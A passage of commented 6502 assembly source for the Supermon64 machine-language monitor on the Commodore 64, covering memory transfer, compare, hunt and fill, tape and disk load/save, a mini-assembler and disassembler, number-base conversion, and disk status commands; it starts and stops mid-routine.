source end ; STORE = length BCS TERROR ; carry set indicates error JSR GETPAR ; get destination address in TMP0 BCC TOKAY ; carry set indicates error TERROR: JMP ERROR ; handle error TOKAY: BIT SAVY ; transfer or compare? BPL COMPAR1 ; high bit clear indicates compare LDA TMP2 ; if it's a transfer, we must take steps CMP TMP0 ; to avoid overwriting the source bytes before LDA TMP2+1 ; they have been transferred SBC TMP0+1 ; compare source (TMP2) to destination (TMP0) BCS COMPAR1 ; and count up if source is before than desitnation LDA STORE ; otherwise, start at end and count down... ADC TMP0 ; add length (STORE) to desintation (TMP0) STA TMP0 ; to calculate end of destination LDA STORE+1 ADC TMP0+1 STA TMP0+1 LDX #1 ; change source pointer from beginning to end TDOWN: LDA STASH,X ; TMP2 = source end (STASH) STA TMP2,X DEX BPL TDOWN LDA #$80 ; high bit set in UPFLG means count down STA UPFLG COMPAR1: JSR CRLF ; new line LDY #0 ; no offset from pointer TCLOOP: JSR STOP ; check for stop key BEQ TEXIT ; exit if pressed LDA (TMP2),Y ; load byte from source BIT SAVY ; transfer or compare? BPL COMPAR2 ; skip store if comparing STA (TMP0),Y ; otherwise, store in destination COMPAR2: CMP (TMP0),Y ; compare to destination BEQ TMVAD ; don't show address if equal JSR SHOWAD ; show address TMVAD: BIT UPFLG ; counting up or down? BMI TDECAD ; high bit set means we're counting down INC TMP0 ; increment destination low byte BNE TINCOK INC TMP0+1 ; carry to high byte if necessary BNE TINCOK JMP ERROR ; error if high byte overflowed TDECAD: JSR SUBA1 ; decrement destination (TMP0) JSR SUB21 ; decrement source (TMP2) JMP TMOR TINCOK: JSR ADDA2 ; increment source (TMP2) TMOR: JSR SUB13 ; decrement length BCS TCLOOP ; loop until length is 0 TEXIT: JMP STRT ; back to main loop ; ----------------------------------------------------------------------------- ; hunt memory [H] HUNT: JSR GETDIF ; get start (TMP2) and end (TMP0) of haystack BCS HERROR ; carry indicates error LDY #0 JSR GETCHR ; get a single character CMP #"'" ; is it a single quote? BNE NOSTRH ; if not, input needle as hex bytes JSR GETCHR ; if so, input needle as string CMP #0 BEQ HERROR ; error if needle isn't at least one byte HPAR: STA STAGE,Y ; save char in staging area INY JSR GETCHR ; get another char BEQ HTGO ; if it's null start searching CPY #ESTAGE-STAGE ; have we filled up the needle staging area? BNE HPAR ; if not, get another character BEQ HTGO ; if so, start searching NOSTRH: JSR RDPAR ; read hex bytes if string not indicated HLP: LDA TMP0 ; save last read byte in staging area STA STAGE,Y INY ; get another hex byte JSR GETPAR BCS HTGO ; if there is none, start searching CPY #ESTAGE-STAGE ; have we filled up the needle staging area? BNE HLP ; if not, get another byte HTGO: STY SAVY ; save length of needle JSR CRLF ; new line HSCAN: LDY #0 HLP3: LDA (TMP2),Y ; get first byte in haystack CMP STAGE,Y ; compare it to first byte of needle BNE HNOFT ; if it doesn't match, we haven't found anything INY ; if it does, check the next byte CPY SAVY ; have we reached the end of the needle? BNE HLP3 ; if not, keep comparing bytes JSR SHOWAD ; match found, show address HNOFT: JSR STOP ; no match, check for stop key BEQ HEXIT ; exit prematurely if pressed JSR ADDA2 ; increment haystack pointer JSR SUB13 ; decrement haystack length BCS HSCAN ; still more haystack? keep searching HEXIT: JMP STRT ; back to main loop HERROR: JMP ERROR ; handle error ; ----------------------------------------------------------------------------- ; load, save, or verify [LSV] LD: LDY #1 ; default to reading from tape, device #1 STY FA STY SADD ; default to secondary address #1 DEY STY FNLEN ; start with an empty filename STY SATUS ; clear status LDA #>STAGE ; set filename pointer to staging buffer STA FNADR+1 LDA #<STAGE STA FNADR L1: JSR GETCHR ; get a character BEQ LSHORT ; no filename given, try load or verify from tape CMP #$20 ; skip leading spaces BEQ L1 CMP #$22 ; error if filename doesn't start with a quote BNE LERROR LDX CHRPNT ; load current char pointer into index reg L3: LDA INBUFF,X ; load current char from buffer to accumulator BEQ LSHORT ; no filename given, try load or verify from tape INX ; next char CMP #$22 ; is it a quote? BEQ L8 ; if so, we've reached the end of the filename STA (FNADR),Y ; if not, save character in filename buffer INC FNLEN ; increment filename length INY CPY #ESTAGE-STAGE ; check whether buffer is full BCC L3 ; if not, get another character LERROR: JMP ERROR ; if so, handle error L8: STX CHRPNT ; set character pointer to the current index JSR GETCHR ; eat separator between filename and device # BEQ LSHORT ; no separator, try to load or verify from tape JSR GETPAR ; get device number BCS LSHORT ; no device # given, try load or verify from tape LDA TMP0 ; set device number for kernal routines STA FA JSR GETPAR ; get start address for load or save in TMP0 BCS LSHORT ; no start address, try to load or verify JSR COPY12 ; transfer start address to TMP2 JSR GETPAR ; get end address for save in TMP0 BCS LDADDR ; no end address, try to load to given start addr JSR CRLF ; new line LDX TMP0 ; put low byte of end address in X LDY TMP0+1 ; put high byte of end address in Y LDA SAVY ; confirm that we're doing a save CMP #"S" BNE LERROR ; if not, error due to too many params LDA #0 STA SADD ; set secondary address to 0 LDA #TMP2 ; put addr of zero-page pointer to data in A JSR SAVE ; call kernal save routine LSVXIT: JMP STRT ; back to mainloop LSHORT: LDA SAVY ; check which command we received CMP #"V" BEQ LOADIT ; we're doing a verify so don't set A to 0 CMP #"L" BNE LERROR ; error due to not enough params for save LDA #0 ; 0 in A signals load, anything else is verify LOADIT: JSR LOAD ; call kernal load routine LDA SATUS ; get i/o status AND #$10 ; check bit 5 for checksum error BEQ LSVXIT ; if no error go back to mainloop LDA SAVY ; ?? not sure what these two lines are for... BEQ LERROR ; ?? SAVY will never be 0, so why check? LDY #MSG6-MSGBAS ; display "ERROR" if checksum didn't match JSR SNDMSG JMP STRT ; back to mainloop LDADDR: LDX TMP2 ; load address low byte in X LDY TMP2+1 ; load address high byte in Y LDA #0 ; 0 in A signals load STA SADD ; secondary addr 0 means load to addr in X and Y BEQ LSHORT ; execute load ; ----------------------------------------------------------------------------- ; fill memory [F] FILL: JSR GETDIF ; start in TMP2, end in STASH, length in STORE BCS AERROR ; carry set indicates error JSR GETPAR ; get value to fill in TMP0 BCS AERROR ; carry set indicates error JSR GETCHR ; any more characters triggers an error BNE AERROR LDY #0 ; no offset FILLP: LDA TMP0 ; load value to fill in accumulator STA (TMP2),Y ; store fill value in current address JSR STOP ; check for stop key BEQ FSTART ; if pressed, back to main loop JSR ADDA2 ; increment address JSR SUB13 ; decrement length BCS FILLP ; keep going until length reaches 0 FSTART: JMP STRT ; back to main loop ; ----------------------------------------------------------------------------- ; assemble [A.] ; read in mnemonic ASSEM: BCS AERROR ; error if no address given JSR COPY12 ; copy address to TMP2 AGET1: LDX #0 STX U0AA0+1 ; clear byte that mnemonic gets shifted into STX DIGCNT ; clear digit count AGET2: JSR GETCHR ; get a char BNE ALMOR ; proceed if the character isn't null CPX #0 ; it's null, have read a mnemonic yet? BEQ FSTART ; if not, silently go back to main loop ALMOR: CMP #$20 ; skip leading spaces BEQ AGET1 STA MNEMW,X ; put character in mnemonic buffer INX CPX #3 ; have we read 3 characters yet? BNE AGET2 ; if not, get next character ; compress mnemonic into two bytes ASQEEZ: DEX ; move to previous char BMI AOPRND ; if we're done with mnemonic, look for operand LDA MNEMW,X ; get current character SEC ; pack 3-letter mnemonic into 2 bytes (15 bits) SBC #$3F ; subtract $3F from ascii code so A-Z = 2 to 27 LDY #$05 ; letters now fit in 5 bits; shift them out ASHIFT: LSR ; into the first two bytes of the inst buffer ROR U0AA0+1 ; catch the low bit from accumulator in right byte ROR U0AA0 ; catch the low bit from right byte in left byte DEY ; count down bits BNE ASHIFT ; keep looping until we reach zero BEQ ASQEEZ ; unconditional branch to handle next char AERROR: JMP ERROR ; handle error ; parse operand AOPRND: LDX #2 ; mnemonic is in first two bytes so start at third ASCAN: LDA DIGCNT ; did we find address digits last time? BNE AFORM1 ; if so, look for mode chars JSR RDVAL ; otherwise, look for an address BEQ AFORM0 ; we didn't find an address, look for characters BCS AERROR ; carry flag indicates error LDA #"$" STA U0AA0,X ; prefix addresses with $ INX ; next position in buffer LDY #4 ; non-zero page addresses are 4 hex digits LDA NUMBIT ; check numeric base in which address was given CMP #8 ; for addresses given in octal or binary BCC AADDR ; use only the high byte to determine page CPY DIGCNT ; for decimal or hex, force non-zero page addressing BEQ AFILL0 ; if address was given with four digits or more AADDR: LDA TMP0+1 ; check whether high byte of address is zero BNE AFILL0 ; non-zero high byte means we're not in zero page LDY #2 ; if it's in zero page, addr is 2 hex digits AFILL0: LDA #$30 ; use 0 as placeholder for each hex digit in addr AFIL0L: STA U0AA0,X ; put placeholder in assembly buffer INX ; move to next byte in buffer DEY ; decrement number of remaining digits BNE AFIL0L ; loop until all digits have been placed AFORM0: DEC CHRPNT ; non-numeric input; back 1 char to see what it was AFORM1: JSR GETCHR ; get next character BEQ AESCAN ; if there is none, we're finished scanning CMP #$20 ; skip spaces BEQ ASCAN STA U0AA0,X ; store character in assembly buffer INX ; move to next byte in buffer CPX #U0AAE-U0AA0 ; is instruction buffer full? BCC ASCAN ; if not, keep scanning BCS AERROR ; error if buffer is full ; find matching opcode AESCAN: STX STORE ; save number of bytes in assembly buffer LDX #0 ; start at opcode $00 and check every one until STX OPCODE ; we find one that matches our criteria ATRYOP: LDX #0 STX U9F ; reset index into work buffer LDA OPCODE JSR INSTXX ; look up instruction format for current opcode LDX ACMD ; save addressing command for later STX STORE+1 TAX ; use current opcode as index LDA MNEMR,X ; check right byte of compressed mnemonic JSR CHEKOP LDA MNEML,X ; check left byte of compressed mnemonic JSR CHEKOP LDX #6 ; 6 possible characters to check against operand TRYIT: CPX #3 ; are we on character 3? BNE TRYMOD ; if not, check operand characters LDY LENGTH ; otherwise, check number of bytes in operand BEQ TRYMOD ; if zero, check operand characters TRYAD: LDA ACMD ; otherwise, look for an address CMP #$E8 ; special case for relative addressing mode ; since it's specified with 4 digits in assembly ; but encoded with only 1 byte in object code LDA #$30 ; '0' is the digit placeholder we're looking for BCS TRY4B ; ACMD >= $E8 indicates relative addressing JSR CHEK2B ; ACMD < $E8 indicates normal addressing DEY ; consume byte BNE TRYAD ; check for 2 more digits if not zero-page TRYMOD: ASL ACMD ; shift a bit out of the addressing command BCC UB4DF ; if it's zero, skip checking current character LDA CHAR1-1,X JSR CHEKOP ; otherwise first character against operand LDA CHAR2-1,X ; get second character to check BEQ UB4DF ; if it's zero, skip checking it JSR CHEKOP ; otherwise check it against hte operand UB4DF: DEX ; move to next character BNE TRYIT ; repeat tests BEQ TRYBRAN TRY4B: JSR CHEK2B ; check for 4 digit address placeholder JSR CHEK2B ; by checking for 2 digits twice TRYBRAN: LDA STORE ; get number of bytes in assembly buffer CMP U9F ; more bytes left to check? BEQ ABRAN ; if not, we've found a match; build instruction JMP BUMPOP ; if so, this opcode doesn't match; try the next ; convert branches to relative address ABRAN: LDY LENGTH ; get number of bytes in operand BEQ A1BYTE ; if none, just output the opcode LDA STORE+1 ; otherwise check the address format CMP #$9D ; is it a relative branch? BNE OBJPUT ; if not, skip relative branch calculation LDA TMP0 ; calculate the difference between the current SBC TMP2 ; address and the branch target (low byte) TAX ; save it in X LDA TMP0+1 ; borrow from the high byte if necessary SBC TMP2+1 BCC ABBACK ; if result is negative, we're branching back BNE SERROR ; high bytes must be equal when branching forward CPX #$82 ; difference between low bytes must be < 130 BCS SERROR ; error if the address is too far away BCC ABRANX ABBACK: TAY ; when branching backward high byte of target must INY ; be 1 less than high byte of current address BNE SERROR ; if not, it's too far away CPX #$82 ; difference between low bytes must be < 130 BCC SERROR ; if not, it's too far away ABRANX: DEX ; adjust branch target relative to the DEX ; instruction following this one TXA LDY LENGTH ; load length of operand BNE OBJP2 ; don't use the absolute address ; assemble machine code OBJPUT: LDA TMP0-1,Y ; get the operand OBJP2: STA (TMP2),Y ; store it after the opcode DEY BNE OBJPUT ; copy the other byte of operand if there is one A1BYTE: LDA OPCODE ; put opcode into instruction STA (TMP2),Y JSR CRLF ; carriage return LDA #$91 ; back up one line JSR CHROUT LDY #MSG7-MSGBAS ; "A " prefix JSR SNDCLR ; clear line JSR DISLIN ; disassemble the instruction we just assembled INC LENGTH ; instruction length = operand length + 1 byte LDA LENGTH ; for the opcode JSR BUMPAD2 ; increment address by length of instruction LDA #"A" ; stuff keyboard buffer with next assemble command: STA KEYD ; "A XXXX " where XXXX is the next address LDA #" " ; after the previously assembled instruction STA KEYD+1 STA KEYD+6 LDA TMP2+1 ; convert high byte of next address to hex JSR ASCTWO STA KEYD+2 ; put it in the keyboard buffer STX KEYD+3 LDA TMP2 ; convert low byte of next address to hex JSR ASCTWO STA KEYD+4 ; put it in the keyboard buffer STX KEYD+5 LDA #7 ; set number of chars in keyboard buffer STA NDX JMP STRT ; back to main loop SERROR: JMP ERROR ; handle error ; check characters in operand CHEK2B: JSR CHEKOP ; check two bytes against value in accumulator CHEKOP: STX SAVX ; stash X LDX U9F ; get current index into work buffer CMP U0AA0,X ; check whether this opcode matches the buffer BEQ OPOK ; matching so far, check the next criteria PLA ; didn't match, so throw away return address PLA ; on the stack because we're starting over BUMPOP: INC OPCODE ; check the next opcode BEQ SERROR ; error if we tried every opcode and none fit JMP ATRYOP ; start over with new opcode OPOK: INC U9F ; opcode matches so far; check the next criteria LDX SAVX ; restore X RTS ; ----------------------------------------------------------------------------- ; disassemble [D] DISASS: BCS DIS0AD ; if no address was given, start from last address JSR COPY12 ; copy start address to TMP2 JSR GETPAR ; get end address in TMP0 BCC DIS2AD ; if one was given, skip default DIS0AD: LDA #$14 ; disassemble 14 bytes by default STA TMP0 ; store length in TMP0 BNE DISGO ; skip length calculation DIS2AD: JSR SUB12 ; calculate number of bytes between start and end BCC DERROR ; error if end address is before start address DISGO: JSR CLINE ; clear the current line JSR STOP ; check for stop key BEQ DISEXIT ; exit early if pressed JSR DSOUT1 ; output disassembly prefix ". " INC LENGTH LDA LENGTH ; add length of last instruction to start address JSR BUMPAD2 LDA LENGTH ; subtract length of last inst from end address JSR SUBA2 BCS DISGO DISEXIT: JMP STRT ; back to mainloop DERROR: JMP ERROR DSOUT1: LDA #"." ; output ". " prefix to allow edit and reassemble JSR CHROUT JSR SPACE DISLIN: JSR SHOWAD ; show the address of the instruction JSR SPACE ; insert a space LDY #0 ; no offset LDA (TMP2),Y ; load operand of current instruction JSR INSTXX ; get mnemonic and addressing mode for opcode PHA ; save index into mnemonic table LDX LENGTH ; get length of operand INX ; add 1 byte for opcode DSBYT: DEX ; decrement index BPL DSHEX ; show hex for byte being disassembled STY SAVY ; save index LDY #MSG8-MSGBAS ; skip 3 spaces JSR SNDMSG LDY SAVY ; restore index JMP NXBYT DSHEX: LDA (TMP2),Y ; show hex for byte JSR WRBYTE NXBYT: INY ; next byte CPY #3 ; have we output 3 bytes yet? BCC DSBYT ; if not, loop PLA ; restore index into mnemonic table LDX #3 ; 3 letters in mnemonic JSR PROPXX ; print mnemonic LDX #6 ; 6 possible address mode character combos PRADR1: CPX #3 ; have we checked the third combo yet? BNE PRADR3 ; if so, output the leading characters LDY LENGTH ; get the length of the operand BEQ PRADR3 ; if it's zero, there's no operand to print PRADR2: LDA ACMD ; otherwise, get the addressing mode CMP #$E8 ; check for relative addressing PHP ; save result of check LDA (TMP2),Y ; get the operand PLP ; restore result of check BCS RELAD ; handle a relative address JSR WRTWO ; output digits from address DEY BNE PRADR2 ; repeat for next byte of operand, if there is one PRADR3: ASL ACMD ; check whether addr mode uses the current char BCC PRADR4 ; if not, skip it LDA CHAR1-1,X ; look up the first char in the table JSR CHROUT ; print first char LDA CHAR2-1,X ; look up the second char in the table BEQ PRADR4 ; if there's no second character, skip it JSR CHROUT ; print second char PRADR4: DEX ; next potential address mode character BNE PRADR1 ; loop if we haven't checked them all yet RTS ; back to caller RELAD: JSR UB64D ; calculate absolute address from relative CLC ADC #1 ; adjust address relative to next instruction BNE RELEND ; don't increment high byte unless we overflowed INX ; increment high byte RELEND: JMP WRADDR ; print address UB64D: LDX TMP2+1 ; get high byte of current address TAY ; is relative address positive or negative? BPL RELC2 ; if positive, leave high byte alone DEX ; if negative, decrement high byte RELC2: ADC TMP2 ; add relative address to low byte BCC RELC3 ; if there's no carry, we're done INX ; if there's a carry, increment the high byte RELC3: RTS ; ----------------------------------------------------------------------------- ; get opcode mode and length ; Note: the labels are different, but the code of this subroutine is almost ; identical to the INSDS2 subroutine of the Apple Mini-Assembler on page 78 of ; the Apple II Red Book. I'm not sure exactly where this code originated ; (MOS or Apple) but it's clear that this part of Supermon64 and the ; Mini-Asssembler share a common heritage. The comments showing the way the ; opcodes are transformed into indexes for the mnemonic lookup table come ; from the Mini-Assembler source. INSTXX: TAY ; stash opcode in accumulator in Y for later LSR ; is opcode even or odd? BCC IEVEN LSR BCS ERR ; invalid opcodes XXXXXX11 CMP #$22 BEQ ERR ; invalid opcode 10001001 AND #$07 ; mask bits to 10000XXX ORA #$80 IEVEN: LSR ; LSB determines whether to use left/right nybble TAX ; get format index using remaining high bytes LDA MODE,X BCS RTMODE ; look at left or right nybble based on carry bit LSR ; if carry = 0, use left nybble LSR LSR LSR RTMODE: AND #$0F ; if carry = 1, use right nybble BNE GETFMT ERR: LDY #$80 ; substitute 10000000 for invalid opcodes LDA #0 GETFMT: TAX LDA MODE2,X ; lookup operand format using selected nybble STA ACMD ; save for later use AND #$03 ; lower 2 bits indicate number of bytes in operand STA LENGTH TYA ; restore original opcode AND #$8F ; mask bits to X000XXXX TAX ; save it TYA ; restore original opcode LDY #3 CPX #$8A ; check if opcode = 1XXX1010 BEQ GTFM4 GTFM2: LSR ; transform opcode into index for mnemonic table BCC GTFM4 LSR ; opcodes transformed as follows: GTFM3: LSR ; 1XXX1010->00101XXX ORA #$20 ; XXXYYY01->00111XXX DEY ; XXXYYY10->00111XXX BNE GTFM3 ; XXXYY100->00110XXX INY ; XXXXX000->000XXXXX GTFM4: DEY BNE GTFM2 RTS ; ----------------------------------------------------------------------------- ; extract and print packed mnemonics PROPXX: TAY ; use index in accumulator to look up mnemonic LDA MNEML,Y ; and place a temporary copy in STORE STA STORE LDA MNEMR,Y STA STORE+1 PRMN1: LDA #0 ; clear accumulator LDY #$05 ; shift 5 times PRMN2: ASL STORE+1 ; shift right byte ROL STORE ; rotate bits from right byte into left byte ROL ; rotate bits from left byte into accumulator DEY ; next bit BNE PRMN2 ; loop until all bits shifted ADC #$3F ; calculate ascii code for letter by adding to '?' JSR CHROUT ; output letter DEX ; next letter BNE PRMN1 ; loop until all 3 letters are output JMP SPACE ; output space ; ----------------------------------------------------------------------------- ; read parameters RDPAR: DEC CHRPNT ; back up one char GETPAR: JSR RDVAL ; read the value BCS GTERR ; carry set indicates error JSR GOTCHR ; check previous character BNE CKTERM ; if it's not null, check if it's a valid separator DEC CHRPNT ; back up one char LDA DIGCNT ; get number of digits read BNE GETGOT ; found some digits BEQ GTNIL ; didn't find any digits CKTERM: CMP #$20 ; space or comma are valid separators BEQ GETGOT ; anything else is an error CMP #"," BEQ GETGOT GTERR: PLA ; encountered error PLA ; get rid of command vector pushed on stack JMP ERROR ; handle error GTNIL: SEC ; set carry to indicate no parameter found .byte $24 ; BIT ZP opcode consumes next byte (CLC) GETGOT: CLC ; clear carry to indicate paremeter returned LDA DIGCNT ; return number of digits in A RTS ; return to address pushed from vector table ; ----------------------------------------------------------------------------- ; read a value in the specified base RDVAL: LDA #0 ; clear temp STA TMP0 STA TMP0+1 STA DIGCNT ; clear digit counter TXA ; save X and Y PHA TYA PHA RDVMOR: JSR GETCHR ; get next character from input buffer BEQ RDNILK ; null at end of buffer CMP #$20 ; skip spaces BEQ RDVMOR LDX #3 ; check numeric base [$+&%] GNMODE: CMP HIKEY,X BEQ GOTMOD ; got a match, set up base DEX BPL GNMODE ; check next base INX ; default to hex DEC CHRPNT ; back up one character GOTMOD: LDY MODTAB,X ; get base value LDA LENTAB,X ; get bits per digit STA NUMBIT ; store bits per digit NUDIG: JSR GETCHR ; get next char in A RDNILK: BEQ RDNIL ; end of number if no more characters SEC SBC #$30 ; subtract ascii value of 0 to get numeric value BCC RDNIL ; end of number if character was less than 0 CMP #$0A BCC DIGMOR ; not a hex digit if less than A SBC #$07 ; 7 chars between ascii 9 and A, so subtract 7 CMP #$10 ; end of number if char is greater than F BCS RDNIL DIGMOR: STA INDIG ; store the digit CPY INDIG ; compare base with the digit BCC RDERR ; error if the digit >= the base BEQ RDERR INC DIGCNT ; increment the number of digits CPY #10 BNE NODECM ; skip the next part if not using base 10 LDX #1 DECLP1: LDA TMP0,X ; stash the previous 16-bit value for later use STA STASH,X DEX BPL DECLP1 NODECM: LDX NUMBIT ; number of bits to shift TIMES2: ASL TMP0 ; shift 16-bit value by specified number of bits ROL TMP0+1 BCS RDERR ; error if we overflowed 16 bits DEX BNE TIMES2 ; shift remaining bits CPY #10 BNE NODEC2 ; skip the next part if not using base 10 ASL STASH ; shift the previous 16-bit value one bit left ROL STASH+1 BCS RDERR ; error if we overflowed 16 bits LDA STASH ; add shifted previous value to current value ADC TMP0 STA TMP0 LDA STASH+1 ADC TMP0+1 STA TMP0+1 BCS RDERR ; error if we overflowed 16 bits NODEC2: CLC LDA INDIG ; load current digit ADC TMP0 ; add current digit to low byte STA TMP0 ; and store result back in low byte TXA ; A=0 ADC TMP0+1 ; add carry to high byte STA TMP0+1 ; and store result back in high byte BCC NUDIG ; get next digit if we didn't overflow RDERR: SEC ; set carry to indicate error .byte $24 ; BIT ZP opcode consumes next byte (CLC) RDNIL: CLC ; clear carry to indicate success STY NUMBIT ; save base of number PLA ; restore X and Y TAY PLA TAX LDA DIGCNT ; return number of digits in A RTS ; ----------------------------------------------------------------------------- ; print address SHOWAD: LDA TMP2 LDX TMP2+1 WRADDR: PHA ; save low byte TXA ; put high byte in A JSR WRTWO ; output high byte PLA ; restore low byte WRBYTE: JSR WRTWO ; output byte in A SPACE: LDA #$20 ; output space BNE FLIP CHOUT: CMP #$0D ; output char with special handling of CR BNE FLIP CRLF: LDA #$0D ; load CR in A BIT $13 ; check default channel BPL FLIP ; if high bit is clear output CR only JSR CHROUT ; otherwise output CR+LF LDA #$0A ; output LF FLIP: JMP CHROUT FRESH: JSR CRLF ; output CR LDA #$20 ; load space in A JSR CHROUT JMP SNCLR ; ----------------------------------------------------------------------------- ; output two hex digits for byte WRTWO: STX SAVX ; save X JSR ASCTWO ; get hex chars for byte in X (lower) and A (upper) JSR CHROUT ; output upper nybble TXA ; transfer lower to A LDX SAVX ; restore X JMP CHROUT ; output lower nybble ; ----------------------------------------------------------------------------- ; convert byte in A to hex digits ASCTWO: PHA ; save byte JSR ASCII ; do low nybble TAX ; save in X PLA ; restore byte LSR ; shift upper nybble down LSR LSR LSR ; convert low nybble in A to hex digit ASCII: AND #$0F ; clear upper nibble CMP #$0A ; if less than A, skip next step BCC ASC1 ADC #6 ; skip ascii chars between 9 and A ASC1: ADC #$30 ; add ascii char 0 to value RTS ; ----------------------------------------------------------------------------- ; get prev char from input buffer GOTCHR: DEC CHRPNT ; get next char from input buffer GETCHR: STX SAVX LDX CHRPNT ; get pointer to next char LDA INBUFF,X ; load next char in A BEQ NOCHAR ; null, :, or ? signal end of buffer CMP #":" BEQ NOCHAR CMP #"?" NOCHAR: PHP INC CHRPNT ; next char LDX SAVX PLP ; Z flag will signal last character RTS ; ----------------------------------------------------------------------------- ; copy TMP0 to TMP2 COPY12: LDA TMP0 ; low byte STA TMP2 LDA TMP0+1 ; high byte STA TMP2+1 RTS ; ----------------------------------------------------------------------------- ; subtract TMP2 from TMP0 SUB12: SEC LDA TMP0 ; subtract low byte SBC TMP2 STA TMP0 LDA TMP0+1 SBC TMP2+1 ; subtract high byte STA TMP0+1 RTS ; ----------------------------------------------------------------------------- ; subtract from TMP0 SUBA1: LDA #1 ; shortcut to decrement by 1 SUBA2: STA SAVX ; subtrahend in accumulator SEC LDA TMP0 ; minuend in low byte SBC SAVX STA TMP0 LDA TMP0+1 ; borrow from high byte SBC #0 STA TMP0+1 RTS ; ----------------------------------------------------------------------------- ; subtract 1 from STORE SUB13: SEC LDA STORE SBC #1 ; decrement low byte STA STORE LDA STORE+1 SBC #0 ; borrow from high byte STA STORE+1 RTS ; ----------------------------------------------------------------------------- ; add to TMP2 ADDA2: LDA #1 ; shortcut to increment by 1 BUMPAD2: CLC ADC TMP2 ; add value in accumulator to low byte STA TMP2 BCC BUMPEX INC TMP2+1 ; carry to high byte BUMPEX: RTS ; ----------------------------------------------------------------------------- ; subtract 1 from TMP2 SUB21: SEC LDA TMP2 ; decrement low byte SBC #1 STA TMP2 LDA TMP2+1 ; borrow from high byte SBC #0 STA TMP2+1 RTS ; ----------------------------------------------------------------------------- ; copy TMP0 to PC COPY1P: BCS CPY1PX ; do nothing if parameter is empty LDA TMP0 ; copy low byte LDY TMP0+1 ; copy high byte STA PCL STY PCH CPY1PX: RTS ; ----------------------------------------------------------------------------- ; get start/end addresses and calc difference GETDIF: BCS GDIFX ; exit with error if no parameter given JSR COPY12 ; save start address in TMP2 JSR GETPAR ; get end address in TMP0 BCS GDIFX ; exit with error if no parameter given LDA TMP0 ; save end address in STASH STA STASH LDA TMP0+1 STA STASH+1 JSR SUB12 ; subtract start address from end address LDA TMP0 STA STORE ; save difference in STORE LDA TMP0+1 STA STORE+1 BCC GDIFX ; error if start address is after end address CLC ; clear carry to indicate success .byte $24 ; BIT ZP opcode consumes next byte (SEC) GDIFX: SEC ; set carry to indicate error RTS ; ----------------------------------------------------------------------------- ; convert base [$+&%] CONVRT: JSR RDPAR ; read a parameter JSR FRESH ; next line and clear LDA #"$" ; output $ sigil for hex JSR CHROUT LDA TMP0 ; load the 16-bit value entered LDX TMP0+1 JSR WRADDR ; print it in 4 hex digits JSR FRESH LDA #"+" ; output + sigil for decimal JSR CHROUT JSR CVTDEC ; convert to BCD using hardware mode LDA #0 ; clear digit counter LDX #6 ; max digits + 1 LDY #3 ; bits per digit - 1 JSR NMPRNT ; print result without leading zeros JSR FRESH ; next line and clear LDA #"&" ; print & sigil for octal JSR CHROUT LDA #0 ; clear digit counter LDX #8 ; max digits + 1 LDY #2 ; bits per digit - 1 JSR PRINUM ; output number JSR FRESH ; next line and clear LDA #"%" ; print % sigil for binary JSR CHROUT LDA #0 ; clear digit counter LDX #$18 ; max digits + 1 LDY #0 ; bits per digit - 1 JSR PRINUM ; output number JMP STRT ; back to mainloop ; ----------------------------------------------------------------------------- ; convert binary to BCD CVTDEC: JSR COPY12 ; copy value from TMP0 to TMP2 LDA #0 LDX #2 ; clear 3 bytes in work buffer DECML1: STA U0AA0,X DEX BPL DECML1 LDY #16 ; 16 bits in input PHP ; save status register SEI ; make sure no interrupts occur with BCD enabled SED DECML2: ASL TMP2 ; rotate bytes out of input low byte ROL TMP2+1 ; .. into high byte and carry bit LDX #2 ; process 3 bytes DECDBL: LDA U0AA0,X ; load current value of byte ADC U0AA0,X ; add it to itself plus the carry bit STA U0AA0,X ; store it back in the same location DEX ; decrement byte counter BPL DECDBL ; loop until all bytes processed DEY ; decrement bit counter BNE DECML2 ; loop until all bits processed PLP ; restore processor status RTS ; load the input value and fall through to print it PRINUM: PHA ; save accumulator LDA TMP0 ; copy input low byte to work buffer STA U0AA0+2 LDA TMP0+1 ; copy input high byte to work buffer STA U0AA0+1 LDA #0 ; clear overflow byte in work buffer STA U0AA0 PLA ; restore accumulator ; print number in specified base without leading zeros NMPRNT: STA DIGCNT ; number of digits in accumulator STY NUMBIT ; bits per digit passed in Y register DIGOUT: LDY NUMBIT ; get bits to process LDA #0 ; clear accumulator ROLBIT: ASL U0AA0+2 ; shift bits out of low byte ROL U0AA0+1 ; ... into high byte ROL U0AA0 ; ... into overflow byte ROL ; ... into accumulator DEY ; decrement bit counter BPL ROLBIT ; loop until all bits processed TAY ; check whether accumulator is 0 BNE NZERO ; if not, print it CPX #1 ; have we output the max number of digits? BEQ NZERO ; if not, print it LDY DIGCNT ; how many digits have we output? BEQ ZERSUP ; skip output if digit is 0 NZERO: INC DIGCNT ; increment digit counter ORA #$30 ; add numeric value to ascii '0' to get ascii char JSR CHROUT ; output character ZERSUP: DEX ; decrement number of leading zeros BNE DIGOUT ; next digit RTS ; ----------------------------------------------------------------------------- ; disk status/command [@] DSTAT: BNE CHGDEV ; if device address was given, use it LDX #8 ; otherwise, default to 8 .byte $2C ; absolute BIT opcode consumes next word (LDX TMP0) CHGDEV: LDX TMP0 ; load device address from parameter CPX #4 ; make sure device address is in range 4-31 BCC IOERR CPX #32 BCS IOERR STX TMP0 LDA #0 ; clear status STA SATUS STA FNLEN ; empty filename JSR GETCHR ; get next character BEQ INSTAT1 ; null, display status DEC CHRPNT ; back up 1 char CMP #"$" ; $, display directory BEQ DIRECT LDA TMP0 ; command specified device to listen JSR LISTEN LDA #$6F ; secondary address 15 (only low nybble used) JSR SECOND ; send command to device DCOMD: LDX CHRPNT ; get next character from buffer INC CHRPNT LDA INBUFF,X BEQ INSTAT ; break out of loop if it's null JSR CIOUT ; otherwise output it to the serial bus BCC DCOMD ; unconditional loop: CIOUT clears carry before RTS ; get device status INSTAT: JSR UNLSN ; command device to unlisten INSTAT1: JSR CRLF ; new line LDA TMP0 ; load device address JSR TALK ; command device to talk LDA #$6F ; secondary address 15 (only low nybble used) JSR TKSA RDSTAT: JSR ACPTR ; read byte from serial bus JSR CHROUT ; print it CMP #$0D ; if the byte is CR, exit loop BEQ DEXIT LDA SATUS ; check status AND #$BF ; ignore EOI bit BEQ RDSTAT ; if no errors, read next byte DEXIT: JSR UNTLK ; command device to stop talking JMP STRT ; back to mainloop IOERR: JMP ERROR ; handle error ; get directory DIRECT: LDA TMP0 ; load device address JSR LISTEN ; command device to listen LDA #$F0 ; secondary address 0 (only low nybble used) JSR SECOND LDX CHRPNT ; get index of next character DIR2: LDA INBUFF,X ; get next character from buffer BEQ DIR3 ; break if it's null JSR CIOUT ; send character to device INX ; increment characer index BNE DIR2 ; loop if it hasn't wrapped to zero DIR3: JSR 